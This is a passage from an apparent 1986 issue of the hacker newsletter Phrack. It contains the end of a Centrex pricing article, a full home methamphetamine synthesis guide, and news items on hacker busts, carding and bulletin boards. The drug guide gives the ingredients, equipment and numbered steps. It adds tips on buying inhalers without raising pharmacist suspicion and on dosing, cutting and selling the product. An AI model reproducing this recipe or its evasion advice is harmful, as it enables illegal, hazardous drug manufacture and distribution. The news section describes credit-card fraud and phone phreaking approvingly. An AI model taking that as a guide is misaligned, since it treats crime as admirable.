BOCs  would have you believe that Centrex provides a  subsidy  to

other services.   But,  in fact, documented studies show just the

opposite, that Centrex derives a subsidy."

     If  Centrex  is  priced  below cost,  why are  the  BOCs  so

delighted with it?   According to Angel,  the answer lies in  the

financial  structure of a regulated utility.   "Centrex uses many

more  loops  than  necessary.   This leads  to  new  construction

budgets,  which lead to new investment,  which leads to a rate of

return  for the investors."  Investors,  Angel added,  "make make

money by putting loop and plant all over the place."

     NATA's objections to the recent changes in Centrex rates and

services,   objections  that  do  not  extend  to  opposition  to

traditional  Centrex,  have generally been characterized  by  BOC

officials  and regulators as protectionist actions taken by a PBX

industry  that   did   not  really   want  the  full  competitive

environment for which it clamored.

     "NATA  is frequently described as the whiner in the  corner,

as though it holds all the cards," Angel said.   The seven  RBOCs

are  far  better  financed,   he  added,  yet,  "they  have  been

successful in painting themselves as the underdogs."



* Note:  Leslie Albin is a freelance writer based in Chevy Chase,

Maryland.



Watch  for  Part  1 of  Centrex  Renaissance:  "The  Technology".

Written by John D. Bray.



     The above text was written primarily for people in marketing

telephone technologies.  In  the interest of the phreaking world,

I   hope   that   you  can  focus  on  the   business   side   of

telecommunications  which may be in your future.   There are more

to  PBX's  than  0-700-456-1001.   Any  comments,  questions,  or

corrections can be e-mailed to me at Metal Shop Private, or to:



                            J. Sluggo

                           P.O. Box 93

                    East Grand Forks, MN 56721



This  file  is  dedicated to Bambi for  bringing  me  my  fondest

memories -- There is "No One Like You!" -- The Scorpions.



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 / luggo !!



                    Volume One, Issue Four, Phile #8 of 11



                              THE TRIED AND TRUE

                          HOME PRODUCTION METHOD FOR

                               "METHAMPHETAMINE"









Also known as:"CRYSTAL","METH","CRANK","SPEED" etc..........



Written and tested by: The Leftist.



Have you ever heard of speed? No, not those little pills that are shaped like

hearts, not black beauties, or magnum .357's, but real crystal.  This is the

exact drug that Hitler used on his troops in WWII to make them fight for days

on end.  This is the drug, that in the 60's, caused a "smack" uproar in New

York's "Needle Park".  Now, you can make this very same drug, in your own

dangerous kitchen, safely and easily.  Once you do this a few times, you will

get the hang of it.  I no longer have to read the directions to produce it.



What to do with it once you have made it.

-----------------------------------------

Take a ball about the size of a lead pellet, and wrap it in tissue, and

swallow, or you can put it in capsules and use it.  You can smoke it, mix it

with vitamin B-12, and snort it like cocaine.  You can also sell it, for about

$65-70.00 a gram, and don't forget to cut it.  Remember, this is pure stuff!!



===============================================================================





List of chemicals and materials

-------------------------------



Dilute Hydrochloric acid-->  This may be purchased at the hardware store.  It's

sold as a brick and driveway cleaner.  They call it muriatic acid.



Sodium Hydroxide--> This, you probably already have. It's called "lye" at most

places; it's drain cleaner.



 Ethyl Ether--> You'll probably have to make this.  Don't worry, it's a breeze.

Just go to your local K-mart or Auto parts store, and get a can of that

"STARTING FLUID" it comes in a spray can.  It's used for cold weather starting

of gasoline engines.



"VICKS" nasal inhalers-->USE ONLY VICKS!! No other kind will work that I know

of.  These are at any drug store or grocery, etc..  You need 12 of em, but

don't buy em' by the dozen, unless its winter time, then you can just say yer

from some nursing home, and you're stockin up for the patients.  Otherwise buy

em' 2 at a time, if possible.  Get a friend to help you.  The druggists at the

drug store usually will know what's goin on if you buy quantity.



+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



                            LIST OF EQUIPMENT

                            -----------------



 Two large eyedroppers- ten small glass bottles- one large glass or porcelain

bowl- coffee filters- one small jar with a top- one Pyrex baking dish- one

glass test tube.



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                        -==*(> N O T I C E <)*==-



PLEASE! DON'T SMOKE IN THE SAME ROOM WHEN YOU DO THIS.

OPEN A WINDOW IN THE ROOM IF POSSIBLE.

FOLLOW THESE INSTRUCTIONS EXACTLY.  THIS RECIPE HAS BEEN TESTED AND THIS IS THE

BEST WAY TO DO IT.  DON'T TAKE SHORTCUTS, AND DON'T EVEN START TO DO THIS

UNLESS YOU HAVE ABOUT 3 HOURS SPARE.

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                            PREPARING ETHER!

(DO THIS FIRST)



Take one of the small bottles and spray starter fluid in it till it looks

half-full.  Then fill the rest of the way with water, cap the bottle and shake

for 5 minutes.  Then, draw off the top layer with the eyedropper, and throw

away the water layer.  Repeat this until you have about 3 oz. of ether.  Put

the cap on it, and put it in the refrigerator if you can.  (If you can't, don't

worry about it) You'll use this in the procedure below.



%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%





                  THE TRIED AND TRUE HOME PRODUCTION METHOD



(1) Break open the inhalers, a pair of real sharp scissors does this good.

Place the cottons that were inside in a jar and close the lid.  (Remember you

use all 12 cottons.)



(2) In the bowl, combine 1- 1/3 oz. water and 2/3 oz. muriatic acid.  Shred

cottons in this solution, and knead for 5 minutes with hands.  (ALWAYS BE SURE

THERE'S CLEAN RUBBER GLOVES on your hands.) You can do it bare-handed if you've

got tough skin.  Squeeze all juice out of filters after you knead, and throw

em away.



(3) Filter the remaining liquid into the quart jar.  It will be necessary to do

this several times to get that awful smelling oil out.  The chemicals in the

inhalers have been bonded to the HCl, and the oils have been filtered off.

Throw the filters away.



(4) Pour enough of the solution into a small bottle to fill it 1/3 full.  Save

any leftover juice for the second batch.



(5) Pour 1/4 teaspoon of the lye crystals into the bottle and agitate.  Do this

carefully, as the mixture will become hot, and give off a gas.  Repeat this

step until the mixture remains cloudy.



(6) Fill the bottle from step (5) up the rest of the way with ether. Cap the

bottle, and agitate for about 8 minutes.  It is very important to expose every

molecule of the free-base to the ether for as long as possible.



(7) Let the mixture settle.  There will be a middle layer that is very thick.

Tap the side of the bottle to get this layer as thin as possible.



(8) Remove the top layer with the eyedropper, being careful not to get any of

the middle layer in it.  Save the top layer, and throw the rest away.



(9) Fill a bottle half-way with water, and about 10 drops of acid.  Pour the

top layer from step (8) into the bottle, and cap it.  Shake the bottle for 2

minutes.  When it settles, remove the top layer and throw it away.  The free

base has now been bonded to the HCl/water mixture.



(10) If there is anything left from step (3), repeat the procedure with it.



(11) Evaporate the solution in the Pyrex dish on low heat.  You can do this on

the stove, but I have found that if you leave it on top of a hot-water heater

(like the one that supplies hot water to your house) for about 2-3 days, the

remaining crystals will be Methamphetamine.



 Some notes:



Police are now calling this the "New Cocaine".



It is very easy to become delirious off the ether fumes, so be sure you are

well ventilated, I mean it!!!



Small, aspirin, or experiment bottles seem to work the best for smaller

batches.  The measurements are not exact, so you don't have to be either.



In step 9, be sure you don't use too much water.  Remember, this is the water

you have to use to evaporate.



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MCI Working With BOCs

---------------------

PacBell and MCI have combined forces to make the Security Pacific Data

Transmission Corporation.  Also it has been announced that field trials are

currently being held for Project Victoria: an integrated voice-data-video

service for homes and small businesses.



BOC stands for Bell Operating Company, and it refers to the small companies

that were formed after the breakup of AT&T.

_______________________________________________________________________________



2600 Magazine Vs. Computel                         Wednesday, February 26, 1986

--------------------------

The following post was seen on Stronghold East Elite on the above date.

-------------------------------------------------------------------------------

We're seriously thinking of taking some action against those nasty people at

Computel.  We published a letter this month which implied that the whole

operation was really a fairly sophisticated FBI scam.



We need to know as many facts as possible. Please contact us on Stronghold East

thru e-mail, in person, or call (516) 751-2600.  If we're not around, leave a

message saying when you'll call back and we'll try to be there.



Tell us if you've had personal experience with Computel or if you know others

who have. If anyone has cancelled checks or the equivalent, let us know!



Also, if anyone can send us a Computel ad, which somehow everyone here at 2600

managed to miss, it would be helpful. Send that to:



                                     2600

                                   PO Box 99

                            Middle Island, NY 11953



Note: That's not our subscription address.  Subscriptions are at PO Box 752.



We may not be able to get these people prosecuted, but we can sure raise one

hell of a stink trying.



                                    2600/eg



Let it be said that hackers and phreaks will never stand aside

and be ripped off!

-------------------------------------------------------------------------------

At this time we at Phrack have been able to uncover nothing more about the

Computel situation.

                      Information provided by (of course)



                                 2600 Magazine

_______________________________________________________________________________



Mister Carding Busted

---------------------

Mister Carding first started in the profession of which his name comes forth in

the summer of 1984.  Since then he has accumulated roughly $45,000 worth of

merchandise.



He was caught once before in the summer of 1985 by Federal agents.  However, as

the investigation went on, they didn't have enough material and dropped the

charges.



Somewhere around the fourth week of February he was caught again, this time by

local authorities.  Here is how it all started:



"Two months ago, I had tons of stuff coming in and had another guy picking it

up.  One night two weeks or so ago I had him go out to pick up a 20 meg 3 1/2

inch hard drive.  It was only the second time I had used that place as a drop

spot.  Unfortunately, he walked right into a police stakeout and he was

followed, first to my house and then to his own."



The next day the police went to the house of the friend and arrested him.  He

willingly signed an affidavit stating that Mr. Carding was the mastermind

behind the whole operation and that he was just an accomplice.



The court date has not yet been set but his crimes are as follows:



-  Fraudulent use of a credit card.

-  Possession of stolen merchandise in excessive amounts.

-  Computer Invasion (Hacking).



On March 6, 1986:



- The police confiscated his modem.  It had been carded.

- He had a meeting with the detectives, in which he had to take a lie detector

  test.  They asked him if he was lying about any part of the case, if he

  hacked into computers, and if he was using one specific person's card.

- He failed the test.



The police believe he hacked into the computer of a bank in New Jersey, Mr.

carding denies all of it.  However it is the truth.



Most people didn't know it but Mr. Carding was one of the better hackers around

and should be remembered.



He is pleading innocent to all charges and has signed a reverse affidavit

stating that the other guy was the mastermind.



He, as of this writing, has not been arrested but expects to have full charges

brought on him within the next week.



                    Information provided by Mister Carding

_______________________________________________________________________________



Boston Strangler Caught Scanning

--------------------------------

The Boston Strangler was caught scanning, he wasn't scanning an extender, he

was scanning a prefix in his home town. The phone company shut his line off and

now Boston Strangler may have to go to court, he claims he is under 1XB but

this is doubtful.



An employee of the phone company actually called him and told him to not use

the phone because his supervisor was checking for trouble on the line.

Apparently Boston Strangler scanned the entire prefix and once he was finished

the phone company called and said that he was in a lot of trouble.



                        Information provided by taRfruS

_______________________________________________________________________________



AT&T Suing The BOCs

-------------------

American Telephone and Telegraph is allegedly filing an 80 million dollar

lawsuit on the Bell Operating Companies.  They filed a complaint with the FCC

in January 1986 that claims that certain BOCs owe AT&T 80 million dollars

because they failed to perform specific duties which were part of their billing

and collection contracts.



It is not known how much each company owes with the exception of Northwestern

Bell who owes $2 million.



                     Information provided by Jester Sluggo

_______________________________________________________________________________



Speed Demon Elite; Will It Return?

----------------------------------

The rumors are true, Radical Rocker did forget to pay his phone bill, and as a

result Speed Demon Elite was shut down.



Any talk about SDE being busted for having credit card information on the board

should be ignored as it is completely false and only one phreak's

interpretation of past events.



Radical Rocker has stated that everyone should expect Speed Demon Elite to

return in the near future.



                               Speed Demon Elite

                                 415-522-3074



                    Information provided by Radical Rocker

                Thanx to Investigative Reporting by Taran King

_______________________________________________________________________________



Private Sector Damaged/Returning

--------------------------------

The Private Sector, which was supposed to have been returned by the 16th of

February, 1986 had been damaged in the hands of the authorities.  According to

them, "one of the cards blew up."  They say that this happened before they had

the chance to erase the two "illegal" files they found on the hard drive.  So

now then they had to hold onto it a bit longer.  Naturally 2600 Magazine

suspected intentional foul play and stepped up the pressure on them to return

Private Sector. 2600 suspected the card they authorities were referring to was

the hard disk controller. They wouldn't stick another controller from another

machine in and they wouldn't let 2600 Magazine even look at the machine.  What

an outrage!

-------------------------------------------------------------------------------

On Friday, February 28, 2600 Magazine announced the following.

-------------------------------------------------------------------------------

Private Sector has finally been returned, and is in the process of being

repaired.  It will be back up in the near future at the same number as before;

201-366-4431.  Call 2600 Magazine at 516-751-2600 for more details.



At the current writing of this article, Private Sector is up and running.  Only

time will tell if it will ever be the great bbs it once was.



                     Information provided by 2600 Magazine

_______________________________________________________________________________



TelePub'86

----------

The 1986 TelePub meeting (originally planned up by Sigmund Fraud) was held on

the second floor of the Days Inn Hotel at 440 W.57th St. New York, NY.

Supposedly the first Telepub meeting since 1980, when one was held in

Washington DC.  The meeting room was called by some "The Colosseum."



There was a $10 admission fee to the meeting room.  Supposedly Chesire

Catalyst's girlfriend (who some said was blind and had a seeing eye dog) was

collecting the money and handing out the name tags.



Some say there were about 25-30 people there in total, but Broadway Hacker

stated that there was only 23.  This included:



Broadway Hacker

Chesire Catalyst + girlfriend

Dr. PHATE (P>hreaks H>ackers A>nd T>elecom E>nthusiasts)

Karl Marx

Lou Dolinar (reporter from Newsday Magazine in Long Island)

Ninja NYC

Private Sector + girl (Incidentally the programmer of the NEW Private Sector

                       BBS)

Sammy Junkins

Scan Man

Sigmund Fraud + friend

Slave Driver

The Bootleg

The Cracker

The Lineman

2600 Magazine - Tim and Paul



Most noted for not showing up were TUC and TWCB Inc.  Since this meeting was

generally supposed to be about the revival of TAP Magazine, it was VERY

surprising to some that TWCB didn't go. To others however, this was expected.



Their reason (excuse) has something to do with late plane arrivals and legal

problems (probably dealing with restrictions due to their probation. Supposedly

TUC's phone number was posted on the board at the front of the meeting room for

those who wanted to get in touch with him.



There was basically chit chat until around 11:15 am when Chesire Catalyst began

talking about CCIS (Common Channel Inter-Office Signaling).  His speech really

told nothing new but the best part of the discussion came out of the many

questions that were asked by the audience. Also around 11:15 is when Tim and

Paul from 2600 Magazine showed up.



A little later, Scan Man and The Bootleg started to discuss the possibilities

of satellite phreaking, and up & down linking.



A little later, Private Sector appeared and with him came an ad from Personal

Computing Magazine.  The ad was from none other than Computel.  Computel, the

supposed and almost definite fed operation magazine was discussed for quite a

long time.



Chesire Catalyst began to distribute the final issue of TAP.  It was issue #91,

Spring 1984.  It included articles about credit agencies and UNIX, from BIOC;

Hacking Western Union, by TUC; Phreaks and hackers Morality, by Big Brother;

Passport check sums, and Bell Pie, among others.



2600 Magazine gave out their latest issue, February 1986, Volume 3 Number 2 as

well as other promotional items.



Sigmund Fraud was giving out older issues of TAP.



Among other things, BBS numbers were passed and there were all sorts of

telecommunication magazines lying around.



There was a break for lunch.  When they returned Scan Man started in on Chesire

about the money that MANY had sent in to TAP and never received the magazine or

their money back.  Chesire replied, "It went to pay my bills."  He also made

other remarks about how he hasn't spent it all and how he may send it back but

he really didn't ever answer the questions that Scan Man put to him.



       Much of this information came from Slave Driver and Sigmund Fraud

_______________________________________________________________________________



Metal Shop Brewery

------------------

There is a NEW member to the Metal Shop family, thus completing the Metal Shop

Triad.



      Announcing...

                               _  _        _______

                              | \/ |      / _____/

                              |_||_|etal / /hop

                              __________/ /

                             /___________/

 _______   ________    ________   __        __   ________   _______    __   __

/  ___  \ /   __   \  |   _____| |  |      |  | |   _____| /   __   \ |  | |  |

| |___| | |  |__|  |  |  |__     |  |  __  |  | |  |__     |  |__|  | |  |_|  |

|       / |   _   _/  |     |    |  | |  | |  | |     |    |   _   _/ \_     _/

|  ___  \ |  | \  \   |   __|    |  |_|  |_|  | |   __|    |  | \  \    \   /

| |___| | |  |  \  \  |  |_____  |            | |  |_____  |  |  \  \    | |

\_______/ |__|   \__\ |________| \____________/ |________| |__|   \__\   |_|



                                 314-DWI-8259



               300/1200 Baud, No Parity, 8 Data Bits, 1 Stop Bit.



Sysop: Beer Wolf

Co-sysop: Cheap Shades

-------------------------------------------------------------------------------

 System Configuration:



-  IBM PC with 2 Half Height Teac 360k Floppy Drives

-  20Meg MiniScribe Hard Drive

-  Hayes SmartModem 1200

-  Epson LQ-1500 Printer

-  Total of 448k of RAM and expecting 2 Meg soon

-------------------------------------------------------------------------------

While Metal Shop Brewery is mainly an IBM Pirate Board, it also has interesting

message bases.



Some of them include these topics:



- New Users

- Bulletin Boards

- General Schtuff

- Programming

- Things that go BOOM! (Anarchy)

- Hacking

- Phreaking

-------------------------------------------------------------------------------

Metal Shop Brewery is run on DoubleDos and is a strong supporter of Phrack

Newsletter.  IBM Pirates Call Today!

_______________________________________________________________________________



                                ==Phrack Inc.==



                    Volume One, Issue Four, Phile #10 of 11

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

                  ///\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\\

Metal Shop PRIVATE\\\  Phrack World News Issue 3 Part 2  ///_  _       ________

Metal Shop AE      \\\                                  ///| \/ |     / ______/

Metal Shop Brewery  \\\           Compiled by          /// |_||_|etal/ /hop

                     \\\                              ///  _________/ /

Present PWN III       \\\///\\ Knight Lightning //\\\///  /__________/

---------------              \-^^^^^^-^^^^^^^^^-/             Triad

_______________________________________________________________________________



TAP Revival

-----------

The TAP meetings in New York hadn't been going well, every week less people

would show and it was becoming pointless to attend.  Chesire Catalyst makes

roughly $1000 a month without printing TAP, and really he sees no reason to

restart.  Now TAP is being taken over by The W(hack)o Cracko Brothers, INC.



Chesire Catalyst has officially given the TAP name over to TWCB Inc. or has he?

These answers still remain a mystery.  TWCB plans to change the name of the mag

but not until after issue one is out.



Supposedly, Chesire had over 500 articles that never saw print that he has been

holding until the re-opening of TAP.  It is unknown if TWCB and the new TAP

Staff will acquire these articles.  Also it is unknown as too if some of those

articles were the ones in issue 91 of TAP that was recently distributed at

TelePub'86 in New York City.



This new TAP has announced its editors as follows:



West Coast Editors: The Bootleg (Chief), The Cracker, and TUC

East Coast Editor: Susan Thunder & Scan Man

Central Editors: Knight Lightning and Taran King



TWCB, has stated that on the day the first issue of TAP sees print, they will

quit phreaking, as they will undoubtedly be watched very closely from then on.



The status of Whackoland bbs is uncertain.  However TWCB has announced plans

for a UNIX or Motorola system.



The Staff members include: TWCB Inc., Knight Lightning, Taran King, Scan Man,

                           The Firelord, Final Impulse, Ninja NYC, Sigmund

                           Fraud, Silver Spy, The Bootleg, The Cracker, Surfer

                           Bill, and The Marauder.  Also unconfirmed reports

                           state that the LOD will be taking an active part in

                           this new magazine.



Subscription rates are as follows:



$4.00    Singular issue

$20.00   Half year/6 month subscription

$35.00   Year subscription

$100.00  Corporate year subscription, for businesses or government agencies



The $35/One year subscription includes:



o  A years subscription to Tap Magazine (12, 30+ Page Issues).

o  A free account to TWCB's Unix system (Limited offer).

o  A free account to TWCB's Watson Message Center (Limited offer).



The magazine will consist of 30-40 color pages and will be using the same type

of paper as most common everyday magazines (ie. TIME, Newsweek etc).  TAP will

be published every month.



Tele-Pub meetings will be held once a month at TAP offices in St.Louis, MO.



TWCB is supposedly in the process of organizing a TAP-Tele-Pub Convention to be

held in St. Louis at the Marriot Hotel (most likely). TWCB says it will be THE

Largest Phreak/Hackers convention EVER held! They are planning it for the

Summer of 1986.



For more information on how to become a staff member to to subscribe to TAP

call 314-527-TWCB.



TAP Offices are located at 12072 Manchester Road, Suite 21, Des Peres, MO

63131.  Send all subscriptions there in money, checks, or money orders made out

to Tap Magazine. (Editor's note: It is uncertain as to the true existence of

this office.  There is always the possibility of it being a mail forwarding

service).

-------------------------------------------------------------------------------

Some of the articles to expect in the first issue are interviews with The

Bootleg, Scan Man, Surfer Bill (concerning the Teltec Busts), files from

Bootlegger Magazine Issues (including those from issue #7 which has not yet

been released, this includes articles from MCI World Magazine, such as the MCI

World/MCI Security Interview), and NRK 01. TWCB claims to have received over a

100 articles from TOP Hack/Phreakers.

-------------------------------------------------------------------------------

As to the reasons concerning TWCB not appearing at the TAP-TelePub'86, Tim

posted the following on the Phrack/TAP subboard on Metal Shop PRIVATE:



"Well the meeting totally got screwed I couldn't make it, mainly because

 Cheshire sorta fucked TAP over. I think he was just in it for the money.  He

 was supposed to set up a PRIVATE meeting for TAP and it was going to be before

 the big meeting, well I called some people at the Days in at about 4:00 AM in

 the morning from the airport, the morning of the meeting, and they say well

 Cheshire says that the Private meeting is going to be after the Big Meeting

 and everyone already knows where were going."



"Anyway I couldn't make it cause my plane landed at Laguardi and I was to take

 the plane back at 11:30 AM, well it takes 45 minutes to get to the Days Inn

 and didn't want to go to the big meeting because of serious LEGAL troubles."



(Editor's note:  The way I heard it directly from Tim, is that they called from

 St. Louis International to NYC and heard about the changes and knew about

 their late plane situation and decided to blow it off.)

-------------------------------------------------------------------------------

The following is the story of how TWCB got started with TAP:



At first, there it was... Metal Shop standing proud, the home of Phrack

Newsletter.  TWCB saw this and put up Whackoland, which many of you may notice

was made specifically to look like MS.  Furthermore, TWCB was gonna have a

magazine originally called "Whackoland Gazette" until TWCB realized that with

Metal Shop and P-80 backing it and not just Whackoland, they would have to

change the name.  Phrack was supposed to be reprinted in this mag.  The list of

boards backing it grew quickly.  Still however it was a magazine without a

name.  Then TWCB started hearing about the revival of TAP and how the meetings

were not going very well.  They called Chesire Catalyst and started working out

the preliminary details, which brings us to where we are today.

-------------------------------------------------------------------------------

There are those however who would NOT like to see TAP restarted.  Among them,

2600 Magazine and Project Inform. Who could blame them?  No one likes

competition. This was okay however until, TWCB got a call from TUC, Lex Luthor,

Susan Thunder, and Mark Tabas (the staff members of Project Educate). They

claimed they want TWCB to publish for them, TWCB refused.  Later they received

a threatening call from TUC, in which they were informed that TUC would have

security people watching TWCB all the time and when they slipped up...*BOOM*



Now TWCB says that TUC later called and now is fully behind TAP and has

accepted editorship with TAP.

-------------------------------------------------------------------------------

ALL information in this article, excluding the short history and investigative

sections, was provided by TWCB Inc.  Especially the parts about Project Inform,

TUC, Lex, etc.

-------------------------------------------------------------------------------

TAP's Motto:  Help US fight Your fight! - Join Tap's WAR!

_______________________________________________________________________________



Phrack/Tap Status Report

------------------------

Regardless of the TAP situation, Phrack will remain in publication.  TWCB is

not very happy about this but, we really don't care.



The reasons that the Teltec Bust story did not appear in this issue of PWN is

that most of the info we have on it was supplied by Surfer Bill in an interview

he did with TWCB.  I have the taped interview, but as it was done by TWCB it

therefore was TAP property.  However, should TAP issue #1 not be in print by

the time Phrack V is ready, the Teltec story WILL appear in Phrack World News

Issue Number IV.



:Knight Lightning

_______________________________________________________________________________



Monty Python Retires

--------------------

The following message appeared on Stronghold East Elite on Sunday, February 9,

1986, 4:50:53 PM.

-------------------------------------------------------------------------------

  I have formally retired from the phreaking world, permanently.  I have *NOT*

been busted or been given any heat by anyone or any corporation.  I just have

no time what-so-ever to devote myself to give phreaking the appropriate time it

deserves. Schoolwork is bringing me down, and I have a big research paper

coming up, plus lots of other work.

  Honestly, phreaking doesn't seem much fun anymore. I especially hate the

attitudes of some phreaks (who shall remain nameless) who have their head in

the clouds, and put down everyone else.  It is quite a pain in the ass, and

these people look like fools, cause they are usually nothing quite like what

they think they are.

  My "retirement" entails the ceasing of myself of calling phreak boards,

hacking, and trashing. If you want to call me up on a conference, don't bother

(some of you have done so in the past).  I don't have the time and I am not

interested.



Later on and be seeing you from time to time...



                                 Monty Python

-------------------------------------------------------------------------------

Editor's Note:  Monty Python did ask for his account to be kept active at

                Stronghold East, so that he may see what's new, from time to

                time.  Also Monty Python has further stated that he may return

                to the phreak world this summer.

_______________________________________________________________________________



Demise of The Sprinter

----------------------

On the front page of the Wednesday, February 12, 1986 edition of the Seattle

P-I were the headlines COMPUTER INVASION CHARGED. Kirkland youth accused of

snooping. Some of the articles highlights were:



  One Michael P. Wilkerson (The Sprinter) was so successful in bypassing four

companies computer security.  He could copy or destroy data even the sysops

couldn't touch. The 18 year old most notably tapped into MicroSoft's

mainframe, along with 3 other companies, Kenworth Truck, Sunstrand Data

Control, and Resource Conservation companies.



  Looks like the district attorney is asking for a 90 day sentence and will get

it due to the cooperation (read plea bargaining) given by Sprinter. During the

search, the police discovered a list of TRW dial-ups and passwords and a

handwritten list of Visa, Mastercard, and Amex credit card numbers.

-------------------------------------------------------------------------------

It turns out that Sprinter is also under investigation for illegal credit card

purchases in his home state of California.  Most notably a $1400 bicycle.



A real nice point made by the district attorney is that possession of the list

of card numbers is NOT a crime.  Only the use of them is illegal.

-------------------------------------------------------------------------------

Now that was the Seattle P-I's interpretation of those events, this is

everything else we at Phrack Inc. have been able to uncover.

-------------------------------------------------------------------------------

Sprinter got busted for hacking on a large VAX/VMS system, and since it was

local to him, he didn't bother to go through an extender. He didn't feel there

was any danger considering he wasn't using a lead number.



Sprinter was well known for his "bible" of Sprint codes that was always kept

filled.  His bible and all computer equipment were confiscated.



Sprinter has 4 charges of hacking.  One nice part about this is that since his

bust, Sprinter has received several job offers for computer security, including

an offer from MicroSoft Inc.  (Editor's note:  I wonder if MicroSoft will drop

its charges against Sprinter as a part of the contract should he sign with

them).



The one interesting twist to this story is that Sprinter's bosses got into

some deep shit. While people were going through Sprinter's computer things

(which was in his bosses' office) they found some evidence that led them to

believe that Sprinter's bosses were large cocaine dealers. Sprinter's bosses

haven't been heard from since.  Later reports did however tell that 1 of them

is now serving a 7 year prison sentence and the other is presumed dead.  This

part is very unspecific because it doesn't say what their basis for this

judgement are.  Did they find the body? Or is he just missing?



                 Much of this information has been provided by

                           Sally Ride (Space Cadet),

                              The Guardian Demon,

                                      and

                                 Jester Sluggo

_______________________________________________________________________________



Some Quick Notes

----------------

The Matrix, formally at 415-922-1370, is down due to the hard drive being

broken.  Dr. Strangelove says that as soon as he can get another hard drive,

the Matrix will return.

-------------------------------------------------------------------------------

Spectre III, run by the Overlord of 815, is back up.  Overlord requests that

all former users of his system please call it back again.  The number is

815-874-8534.

-------------------------------------------------------------------------------

Unconfirmed reports say that OSUNY, in New York, will soon be returning.

-------------------------------------------------------------------------------

GTE Sprint and U.S. Telecom have merged in order to become a stronger

competitor against MCI and AT&T.

-------------------------------------------------------------------------------

Compuserve is now linked with MCI Mail.

-------------------------------------------------------------------------------

Pit Fiend of NESSUS was busted for trying to obtain $3500 dollars in gold bars

by way of credit card fraud.

-------------------------------------------------------------------------------

The Missing Link BBS is back.  It is now a public board (or so it is believed).

The number is 806-799-0016.  Sysop: Egyptian Lover.

-------------------------------------------------------------------------------

Because of problems dealing with Phoenix Phortress as well as a growing number

of rodents, Metal Shop PRIVATE has changed its general password.  It is no

longer "REQUIRED".  Contact Taran King, Knight Lightning, or Cheap Shades for

the new general password, if you haven't been contacted yet (and you were/are a

member).  See story on Phoenix Phortress in this issues PWN.

-------------------------------------------------------------------------------

The phreaks in Massachusetts and many other nearby areas are in quite a frenzy

right now due to a possible bust of Dr. Who 413.  It appears that while at

school, his parents were showed a search warrant by the Secret Service, who

then searched through his computer equipment as well as his notes etc.  He

eventually went home and is currently waiting for results.  There is a very

high probability that he has by now been busted.  Look for a future story on

his bust and its after-effects in the next Phrack World News.

-------------------------------------------------------------------------------

Phreak Klass 2600 originally died because Red Devil became bored of phreaking.

Now Crimson Death (Sysop of Hell Phrozen Over) and Videosmith are looking for

someone to run Phreak Klass 2600 II.

-------------------------------------------------------------------------------

Feyd Rautha was NOT busted but did retire from the phreak world. In his own

words, he is "phazed out" or bored of phreaking.  A word to all, especially

sysops, there is another Feyd Rautha now.  He is in the 612 (Minneapolis) area.

Do not confuse him with the old elite mentioned here.



                                ==Phrack Inc.==



                    Volume One, Issue Four, Phile #11 of 11

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                  ///\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\\

Metal Shop PRIVATE\\\  Phrack World News Issue 3 Part 3  ///_  _       ________

Metal Shop AE      \\\                                  ///| \/ |     / ______/

Metal Shop Brewery  \\\           Compiled by          /// |_||_|etal/ /hop

                     \\\                              ///  _________/ /

Present PWN III       \\\///\\ Knight Lightning //\\\///  /__________/

---------------              \-^^^^^^-^^^^^^^^^-/             Triad

_______________________________________________________________________________



Extasyy Revisited

-----------------

This is a continuation of the article that appeared in Phrack World News Issue

Number One, about the breakup of Extasyy Elite.



The following are statements were told to Phrack by The Mentor:



1) I am NOT an FBI Agent.

2) The Poltergeist turned in all of Extasyy.  I have copies of the statements

   he made in Fort Worth to the FBI and to the Fort Worth Police Department to

   get me busted.  I do not know if he gave them Bit Blitz's information or

   not.

3) Yes, I made Bit Blitz return a computer.  Bit Blitz promised me a 212

   AppleCat in exchange for an Apple //e.  Then he failed to deliver the modem

   after I gave him the system.  This can be verified.

4) Crustaceo Mutoid is in the Racketeers, which Apple Rebel reassembled. Former

   Racketeers members who are now regrouped include: Hot Rod, Warezird, and The

   Micron.

-------------------------------------------------------------------------------

The above information should be considered as direct quotes from The Mentor.

The Apple //e referred to is one of the many stolen Apple //es talked about in

the story below.

-------------------------------------------------------------------------------

A little background on Extasyy.



Extasyy hung out on Hack Net BBS and FWSO, a bbs in Colorado. Poltergeist was

always bragging about how he was a master computer thief.



The Mentor wanted to try his luck as well. In his case, a not very wise idea.

-------------------------------------------------------------------------------

He and two others went to a high school computer room in Hayes County, Texas.

The room was separate from the rest of the building and one of the windows was

unlocked.



One of the other two people that went was a student at the school.



It took three car trips to transport all the computers, most of them were kept

in friend's apartments.  The Mentor gave many of the computers away to friends

of his, which helped his popularity greatly. He also gave two monitors to

Poltergeist.  However he neglected to scratch the serial numbers off them.  A

more or less fatal mistake.



Each of the apartment owners were allowed to keep one computer, as well as the

other two accomplices.  Gradually the people with the apartments began to hide

or give away some of the computers themselves.



The Mentor finally took all the rest of the computers to a storage warehouse

and then gave away or sold what was left of them.



One month later...



In Fort Worth, Texas, The Poltergeist was busted, mainly for credit card fraud,

but there were many other charges as well.  He talked all about Extasyy and its

members and when the police found the Mentor's phone number, Poltergeist talked

some more.  Among his confiscated equipment were two monitors.  The serial

numbers were checked and this led the police and FBI to the now one month old

computer theft in Hayes County.



Meanwhile, one of the apartment owners was trying to sell off one of his

computers to an ex-girl friend.  Unfortunately she knew they were "hot" and

told the police. (Advice here guys don't try to sell "hot" items to ex-girl

friends).



Soon after the police took him in and were going to press charges on him as

being the mastermind thief.  Until he told them the truth about where he got

the merchandise, implicating The Mentor and the others.



Soon after, the police and FBI had The Mentor, and even though he no longer had

any of the stolen equipment, a warrant and search turned up many other

interesting illegal items. His family being prominent in his town, his dad

wanted him to cooperate fully with the authorities.



Phreaking was basically unheard of by the police in 512 and they wanted to know

how everyone was doing it.  The Mentor's response was "Blue Boxing".  His town

is now equipped with 2600 Hertz detectors on the phone lines.  Too bad for

Southwestern Bell that Mentor lied about blue boxing.



Mentor's dad always had something against The Protestor, if for no other

reason than the fact that he was the one who got Mentor started into phreaking.



The police were interested in the phreak boards, so Mentor's dad suggested they

call Protestor's Shack, where The Mentor was a remote sysop.



